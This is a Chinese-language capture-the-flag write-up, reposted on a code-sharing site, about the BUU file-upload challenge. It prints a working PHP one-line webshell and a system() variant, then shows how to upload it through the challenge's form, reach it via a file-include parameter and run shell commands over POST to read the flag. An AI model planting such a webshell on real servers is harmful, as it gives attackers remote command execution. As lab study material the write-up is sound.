BUU UPLOAD COURSE | 一句話木馬實操(PHP)


這是一道上傳一句話木馬的裸題,解題思路也很明確,現在此詳細記錄,以供日后復習知識點用
一句話木馬:當知道了URL,就可以利用本地一張網頁進行連接得到Webshell

php 一句話木馬

<?php @eval($_POST["x"]);?>

當這條語句被服務端執行了,我們同時利用 POST 請求上傳變量 x 的值,例如 x=echo 'Hello'

php 解析器執行的實質上是 @eval("echo 'Hello'"),即在前端輸出一個字符串

更常見的利用手法是利用 @eval(system($_POST["x"])) 直接控制服務端的 shell

同時提交 x=ls ,便可以通過 shell 輸出當前網頁目錄下的其他文件,注入其他命令同理

實操

題目鏈接
用瀏覽器連接靶機,有一個可以提交文件的頁面,隨便 sumbit 一個文本文件

提示:文件已儲存在: uploads/xxx.jpg

可以在 ?file=uploads/xxx.jpg 查看,有相應的內容回顯

這是一個最普通的 php 腳本,保存改后綴為 .php 嘗試上傳

<?php echo 'Hello World!'; ?>

在訪問時回顯 Hello Worl! 說明自定義的 php 腳本被成功執行

把腳本修改成一句話木馬

<?php @eval(system($_POST["x"]));?>

成功上傳后,訪問相應的 ?file=uploads/xxx.jpg,頁面空白,說明 php 命令被成功執行

將 url 復制到 Postman ,編輯 Body(Post 的表單)為 x:ls

成功拿到 shell,接下來找到 flag 所在的目錄就好了

你甚至可以提交 x:find -name / 'flag' 暴力找,最后提交 cat /flag 拿到 flag


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM